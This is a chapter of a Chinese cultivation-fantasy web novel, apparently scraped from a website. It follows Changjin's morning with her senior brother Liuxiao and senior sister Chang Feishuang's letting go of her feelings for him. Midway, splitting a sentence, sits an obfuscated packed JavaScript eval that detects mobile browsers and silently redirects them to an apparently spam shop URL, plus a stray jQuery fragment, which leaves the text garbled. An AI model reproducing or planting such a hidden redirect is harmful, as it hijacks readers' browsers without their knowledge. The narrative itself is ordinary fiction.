27.卯时晨起,飞双心声
作品:《高冷师妹不走正道》 阿棠为了不让长矜早课迟退,天光未现之时就喊着她起来。
只见一抹轻飘飘的鬼影伏在一团被褥上声声唤。
“挽娘……”
“挽娘!”
她喊归喊,长矜睡归睡。
这下阿棠也不耐烦起来,原本娇美的眉眼里冒出火来,吼道:“长矜!你才过一天好日子就又天天赖着不起!”
“这下你大师兄走了,二师姐也走了,留着我天天在这里跟你唠叨成老婆子!”
“你也就能奈何我了,混账东西。”
长矜很难为地从褥子里伸出一条手臂,搭在床架上拍了拍,示意知晓了。
然后又没了动静。
长矜已经被吵得有点清醒了,她觉得自己心里有数,什么时候起能刚刚好。
房间突然静下来。长矜心里觉出几分不对来,在褥子里挪了挪,把面埋进去,咕哝道:“等会儿……”
可是还是没动静。黑乎乎的屋里静悄悄的,她那只搭在架上的手被攥住,轻轻摩挲着。
“等会儿是多久?挽娘?”
流霄的声音突兀地在房中响起。
长矜彻底清醒了。她猛地使力就要把自己的手抽出来,扯了一下没扯动。
空气里突然再次安静下来,只剩微弱的呼吸声。
“我马上起,你出去。”长矜声音闷闷的从被褥里传出来。
原本攥住她手的力消失了,长矜听到流霄走出里间。
她从床上爬起来快速穿好衣袍,一屁股坐在梳妆台前,阿棠这时候幽怨地从寄魂铃里爬出来,任劳任怨给她梳头。
长矜很识相地垂眼不说话,心里却还在琢磨。她明明没开阵法,流霄是怎么突然进来的?
阿棠突然说道:“长矜,你的那两条发带早被你师兄拿走了。快叫他还回来。”
她一出声就钻进寄魂铃里,卧房的门被打开,流霄走了进来,手里拿的正是那两条发带。
他往长矜的发髻上一边一条系好,理顺之后让发带搭在她的肩背上。冷不丁听长矜问:“你怎么进来的?”
流霄笑了笑,没说话,转身又走出去。
长矜起身追在他背后一遍又一遍不可置信地问:“你怎么进来的?”
这暨山破阵法怎么这么没安全感,她要是在突破什么的也容得一个大活人钻进来吗?
流霄解释道:“这一片道院住处都归我管束,只有我有通行令。前些年出过弟子在院中研究禁术差点爆体而亡的事故,故而暨山刑堂在这方面就有了警惕。”
他只是因为昨日梦有些不安,想过来看看她。流霄心里想着。
长矜还要追问,就见流霄伸出一只手来,摊开是一枚小小的、精巧的金剑。
长矜一下止住话头,停住不动,接过那枚悟道剑式,拿在手心里把玩。
长矜说:“这才多久,这么早给我?”
流霄低头看着她懒散模样,忍住去摸她鬓角那条乱飘发带的冲动。
他说:“莫要受欺负了,有事就直接拿着去打就是了。”
长矜莫名其妙,把金剑揣进怀里,慢捻说道:“我还以为你会嘱咐我别欺压同门,毕竟只有你知道我灵识修为多高。外门根本不够看。”
流霄看着她姣好的脸,总觉得有血没有擦干净,到底没忍住伸手掌住抚了一下,低声说:“总会有意外的。”
长矜被他摸得不自在有些痒,可见这个表面温和实则冷淡的师兄嘴里吐出这么温情的话,只是微微偏头,忍了忍没把他手拍开,说:“知道了。”
流霄只克制抚了一下就收了手,看着长矜召出手背上那只壳儿爬上去,慢悠悠飞往二生峰。
直到看着长矜驾着那还不是很稳当的龟壳消失,他才转身出院,朝着院外抱剑而立的常飞霜点点头示意,往自己住处走去。
常飞霜眼神复杂地看着流霄远去,抿了抿唇,最终只是叹了声:“罢了。”
长矜还不知道,今日如果流霄没来,就是常飞霜闯进房里把她从床上薅下来了,远远没这么温柔。
修学堂的授修长老可不好对付,第一天敢早课迟到,长矜别想有好日子过了。
常飞霜想起前些日教长矜学讯令之事。
长矜惯会看人心,要是想讨一个人开心是很容易的,只是她不屑于这样做。
在常飞霜那座终日覆盖着皑皑白雪的院落里,长矜坐在冰椅上捏着符咒画样子。
常飞霜看着她画了只又丑又脏的乌龟。偏偏她还颇为自得,欢喜做了一叠附上术法,扔进乾坤袋里。
她问长矜为什么刻成这模样。长矜晃了晃手背的龟壳纹路,说简单好用不重复。常飞霜哑口无言。
她又在一叠新符咒上琢磨着画样子,做了一叠白色雪花讯令,瞧着倒是比她自己的那叠乌龟精巧许多,然后伸手递给她。
长矜歪头笑着说:“师姐怎么只带着金色雪花,白色也不错。”
常飞霜在院中并不收束身上道气,白色雪粒飞扬,在长矜头顶覆上一层浅浅的白,她看着长矜,脸色淡淡:“妄自揣测。”但最终还是收下了。
暨山都传言说常飞霜喜欢道子,所以她故意讯令也学着道子用金色的。
早些年常飞霜对流霄心生仰慕,以为修士就该是这副模样,强大而无情,只能令他人仰视。所以她努力追随他的步伐,想要成为一样的人。
她修冰雪道,心思纯粹无杂念,修为精进得很快,也慢慢得了众人口中和流霄一样的评价。
她以为这是爱慕,流霄最终只会选择配得上他的人。
直到试道大会之后,流霄不入金丹。
外界都说他在问心境里道心有瑕,不敢踏出这一步。她不信,跑到无生峰上去问师尊,师尊却回答说是。
“无情道不适合他,飞双。”天衍说道。
她以为这是机会,却见流霄和以往没有什么不同,变了的是她。
她把自己困在里面,金丹之后修为难有长进。为了契合冰雪道意象,她把飞双改为飞霜,那枚金色雪花讯令在她手中攥了很久,没有等到回应。
后来长矜出现,她承认
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066659|195061||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己嫉恨。流霄自己都没有发现,他就是待长矜和待旁人不同。但常飞霜这么关注他又怎能不知。
他的目光久久停滞在长矜身上,而让她觉得最无力的是,长矜根本不把这些东西当回事。
她想拦住长矜接近流霄,提前来截人,说服自己是因为冰雪道更契合长矜的道种。
长矜没有犹豫地说我选你。
她的这些自己能不想去承认的下作手段一拳打在棉花上,常飞霜不甘心,她极度不甘心。自己守了这么久的东西,落在了别人手上。
可流霄从来不是谁的,长矜也不是别人,是她的小师妹。
她想了很久很久,也许长矜正是看出来了,才递给她那叠刻画的白色雪花讯令。
她一直研磨的道关兀的松了,道丹上的细微斑驳被洗去,她接过那叠白色雪花讯令。
也告诉自己放手。
所以她不再看护长矜,现在看到流霄从院里里面出来,心里也没有什么预想中的波澜壮阔的起伏,好像本来就该是这样。
只是她不肯面对。她也许喜欢的不是流霄,而是那个无懈可击看着无所不能、站在所有人顶上的天才。
她也许只是嫉恨,为什么那个人不是自己。
终于放下执念。
“道寂师叔也会喜欢的……怪不得道子。”常飞霜喃喃着。
更怪不得自己。
这狡猾的小鬼头。
她从乾坤袋里拿出那叠金色雪花讯令,在手心攥成粉末,迈步慢慢离开。
其实她一直不太喜欢金色。
金色的粉尘挥洒在空中,落入云海里,千万分之一的尘粒飘在那只摇摇晃晃的又丑又脏的龟壳上。
那厢长矜驾着壳儿上早课,身旁驰过无数踏剑踏刀的外门弟子,无不侧目看她。
她并不在意这些眼光,毕竟如今自己也是并肩道子的大名人,就要尽早适应这种众星捧月的注视。
也不知流霄要是但凡消息灵通点,再回想起那日她随口一句“声名大噪”是何等表情。
长矜最终还是在卯时前最后半盏茶踩点到了修学堂。
修学堂并不是那种一桌一人的凡间授课学堂,而是很大一块空场地,每人一张蒲团坐着,蒲团之间空隙不大,弟子都在后半空间挤着,前半部分是授修长老的空间。
修学堂另还有一部分靠门的缝隙是留给暨山杂役旁听的,如果有心修行,暨山不反对杂役也在修学堂旁听。暨山开宗师祖曾说:“大道并行,不拒来者。”
故而暨山捧高踩低之事并不猖狂,宗门行事清正。
还有一事在修士之间流传甚广,说是几百年前某宗门的杂役弟子得了非凡机缘,一飞冲天,得道之后报复曾经看不起折辱他的宗门弟子,险些灭门。这事也不知是从哪传来的,越传越真,搞得有些放肆的修士都收敛了性子。
长矜去得很晚了,但仅剩最前面的一张蒲团。
长矜:?
她明明记得暨山弟子都是好学努力出名的。
长矜走到蒲团上打坐。

